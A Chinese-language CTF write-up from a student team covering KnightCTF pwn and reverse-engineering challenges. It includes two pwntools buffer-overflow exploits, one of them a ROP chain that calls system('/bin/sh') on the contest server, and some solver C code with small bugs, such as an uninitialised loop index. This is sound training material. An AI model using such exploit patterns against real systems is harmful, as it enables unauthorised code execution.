介绍:

由孟加拉国第一次举办的为期27小时的夺旗战;

KnightCTF做起来二进制方向确实算签到题;

同时KnightCTF偏小众,但是个很好的新手训练平台,能很好的入门各个方向;

但同时KnightCTF有很多个扩展方向,不只是局限于web,re,crypto,pwn,misc;

还有数字取证(Digital Forensics),开源情报(OSINT),隐写(Steganography),网络(Networking),以及编程(Programming);

通过这些特殊的方向可以学习到很多有意思的知识;

比如隐写会把秘密写在图片里,或者图片的介绍里;网络会需要用到wireshark,由此还特别下载学习使用;开源情报则是灵活使用谷歌搜索以及其他的爬虫;

通过这次CTF的学习,可以发现很多奇怪的文件都可以转成zip来破解,有些甚至会套娃;

过程:

我和我的小队成员也在比赛的过程中互相帮助,揣测思路;尽管二进制很简单,我们能很快解决AK掉,但其他方向和奇怪的谜题也困扰着我们,比如misc的3D建模需要穿模找flag…等等;

一边学习一边讨论一边解题,针对新知识,解题确实让人头大,连续熬夜两天,每天都高强度地盯着屏幕,怕是这样久了头发都掉光;

为什么这么认真呢?因为这是矩阵战队第一次的CTF比赛,我们会团结起来,去拿到一切能拿到的分数,不会说二进制AK我就下班;

在这过程中,我们还误判了结束比赛的时间,导致排名往下掉了不少,最后也是凭着每个人的意志熬了过来;

Certificate

最后也是成功的拿到了前100的名次得到证书;

虽然都不是什么难题,但确实让人开心;

接下来就是二进制系列的复现了;

Pwn:

whats_your_name

IDA和ROPgadget:

main

可以看到主函数很简单,gets输入v4会栈溢出,以便修改v5的值,执行system函数获取flag;

使用ROPgadget会发现有可以控制的寄存器,所以可以玩一点花的;

再使用cyclic命令找到溢出返回的长度;

用got表可以找到plt的偏移;

之前写过ret2libc,那就用那次的经历来写一次;

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('198.211.115.81',10001)

ad = 0x404048
system = 0x401030
r15 = 0x401242
gets = 0x401050

payload = b'a'*68 + b'a'*8 + p64(gets) + p64(r15) + p64(ad) + p64(system) + b'e'*8 +p64(ad)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

思路就是,直接去return,先调用gets函数,控制r15寄存器输入 ‘/bin/sh’ 到一段可修改的地址,返回后调用system,直接执行 system(‘/bin/sh’) ;

之后得到flag:KCTF{bAbY_bUfF3r_0v3Rf1Ow}

hackers_vault

IDA:

main

可以发现输入的v4是用%d(整数)格式输入的,之后还有一个运算,最后得出v5的值,如果v5 = 48,就能拿到flag;

其实就是一道非常简单的逆向题;

算法就是每一位数的和,所以只需要输入一串数字,这串数字加起来为48就好了(千万别管溢出!别管int的位数!)

answer

然后就nc到服务器,输入数字得到flag:KCTF{b1NaRy_3xOpL0iTaT1On_r0cK5}

whats_your_name_two

IDA:

main

查看主函数,发现输入的内容s,会被复制到dest,看栈的结构,可以知道dest后面紧跟v6和v7;

主函数里判断,如果v7和v6满足条件值,就执行system获取flag;

则Exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote('198.211.115.81',10002)

v6 = 0x534B544E
v7 = 0x5445454C

payload = b'a'*72 + p32(v6) +p32(v7)
p.sendline(payload)
p.interactive()

得到flag:KCTF{bUfF3r_0v3Rf1Ow_i5_fUn_r1Gh7}

偷懒不想玩return了;

Reverse:

The_Flag_Vault

IDA:

main

进入主函数看到会让输入字符串s2,然后和s1字符串比较,如果相同,就会输出flag;

answer

输入s1后获得flag:KCTF{welc0me_t0_reverse_3ngineering}

the_encoder

IDA:

function

输入最大40个字符,然后这个for是在判断输入的长度,没什么实际的意义,不会改变输入的值;

之后就会把输入的字符的ascii码加上1337输出;

根据题里的内容,可以知道有如下的数据:

1
1412 1404 1421 1407 1460 1452 1386 1414 1449 1445 1388 1432 1388 1415 1436 1385 1405 1388 1451 1432 1386 1388 1388 1392 1462

所以思路就是:把每个数减去1337,再换成ascii;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>

int main()
{
int box[25] = {1412 ,1404 ,1421 ,1407, 1460, 1452, 1386, 1414, 1449, 1445, 1388, 1432, 1388, 1415, 1436, 1385, 1405, 1388, 1451, 1432, 1386, 1388, 1388, 1392, 1462};
int i;
char out[25];
for(i=0;i<25;i++)
{
box[i] = box[i] - 1337;
}
for(i=0;i<25;i++)
{
out[i] = box[i];
}
printf("%s",out);
return 0;
}

运行后得到flag:KCTF{s1Mpl3_3Nc0D3r_1337}

BabyShark

这道题的文件是.jar,所以用jd-gui反编译;

main

可以找到这样两个关键字符串信息内容;

上面一张图的数据后面有等号,可以想到AES,base64加密,于是去尝试解密:

decrypt

用base64解密解出flag:KCTF{7H15_W@5_345Y_R16H7?}

flag_checker

IDA:

main

这道题就是单纯的把输入的字符串v4经过两个for循环的运算之后给已有的v5字符串比较与否;

那么稍微改一下两个for里的算法,改成自己的逆运算,当然,第一个for的逆运算就是它自己,因为 x = -1 - y 就是 y = -1 - x;用v5的值算回v4就行了;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<stdio.h>

int main()
{
char in[35],out[35];
int v4[35];
int i,j,v7,v6;
scanf("%s",in); //换做v5做运算数
for(i=0;i<35;i++)
{
v4[i] = in[i];
}
for ( j = 0; v4[j]; ++j )
v4[j] += 32; //改减为加
for ( i = 0; v4[i]; ++i ) //这个for不变
{
if ( v4[i] <= 64 || v4[i] > 90 )
{
if ( v4[i] <= 96 || v4[i] > 122 )
v4[i] = v4[i];
else
v4[i] = -37 - v4[i];
}
else
{
v4[i] = -101 - v4[i];
}
}
for(i=0;i<35;i++)
{
out[i] = v4[i];
}
printf("%s",out);
return 0;
}

因为是复制的代码用,所以会比较乱,而且写的时候是v4来运算,但实际上输入的数据是v5的;

运行输入后得到flag:KCTF{aTbAsH_cIpHeR_wItH_sOmE_tWiSt}

Knight Vault

IDA:

main

输入v8,让v8经过for循环的运算,再用运算的数据和v7比较与否;

思路还是改写for循环的运算,使其逆向,把v7变回v8;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>

int main()
{
int v7[43];
int v8[43];
char in[43],out[43];
int i;
scanf("%s",in);
for(i=0;i<43;i++)
{
v7[i] = in[i];
}
for(i=0;i<43;i++)
{
v8[i] = v7[i] + 10; //改减为加
if( v8[i] == 42 ) //两极反转
v8[i] = 65;
}
for(i=0;i<43;i++)
{
out[i] = v8[i];
}
printf("%s",out);
return 0;
}

运行得到flag:4CTF{sO_yOu_gOt_mE_gOOd_jOOb_hApPy_hAc4iNg}

Droid Flag

这是个安卓APK,用jeb分析:

main1

main2

这是整个onCreate方法;

下方可以看到v1变量在添加flag样式的字符,并且使用getSx函数获取字符串;

如下是getSx系列:

getSx

它是用16进制下标在字符串里找对应id的字符串,那就进入字符串里寻找;

最后结果:

string

从字符串里看出,就这样输入貌似并不是flag,但是把字符反着输入,就可以拼接成单词了,比如s7代表的 D10RdNa ,反转输入就变为 aNdR01D -> android ;

最后通过这样的字符串拼接方法得到flag:KCTF{aNdR01D_s1MpL3_r3V3rS3}

Knight Switch Bank

IDA:

main

输入v5,进入while循环开始选择性的运算,最后还有一个while循环,结束后让运算过的v5与v6比较与否;

这个套路很像之前的 flag_checker 这道题;唯一不同的就是两个循环的样子变了一下;

第一个循环在选择输入的字符:如果是小(大)写字母的前13个,就加13;如果是小(大)写字母的后13个,就减13;如果不是字母,就减32;

第二个循环就是自加2;

跟之前一样,改写一下循环里的东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include<stdio.h>

int main()
{
int v4[29],v5[29];
char in[29],out[29];
int i;
int v10;
scanf("%s",in);
for(i=0;i<29;i++)
{
v5[i] = in[i]; //输入的是原v6,复制用的v5;
}

for(i=0;i<29;i++)
v5[i] -= 2; //改加为减
for(i=0;i<29;i++)
{
if ( v5[v10] <= 64 || v5[v10] > 77 )
{
if ( v5[v10] <= 96 || v5[v10] > 109 )
{
if ( v5[v10] <= 77 || v5[v10] > 90 )
{
if ( v5[v10] <= 109 || v5[v10] > 122 )
v4[v10] = v5[v10] + 32; //改非字母的变化为加其他不变
else
v4[v10] = v5[v10] - 13;
}
else
{
v4[v10] = v5[v10] - 13;
}
}
else
{
v4[v10] = v5[v10] + 13;
}
}
else
{
v4[v10] = v5[v10] + 13;
}
++v10;
}

for(i=0;i<29;i++)
{
out[i] = v4[i];
}
printf("%s",out);
return 0;
}

运行后得到flag:KCTF{So_YoU_ROT_iT_gOOd_jOOb}

总结

二进制方向要说没收获吧,其实还是有的,就比如安卓逆向和java逆向,当时看到的时候并不知道.getstring()函数是什么东西,更不知道其他点过去点过来的函数;都需要去网上查找学习才能弄懂;

因为简单,然后学习其他方向的内容,也是挺头大的,不过也同时收获很多知识;

比如密码学的RSA的简单了解和运用,web的SQL注入,misc 3D建模以及pacpng后缀文件的运用;

之后就是主打hgame了,在hgame结束的时候也会有这样类似的复盘发布的;

genshin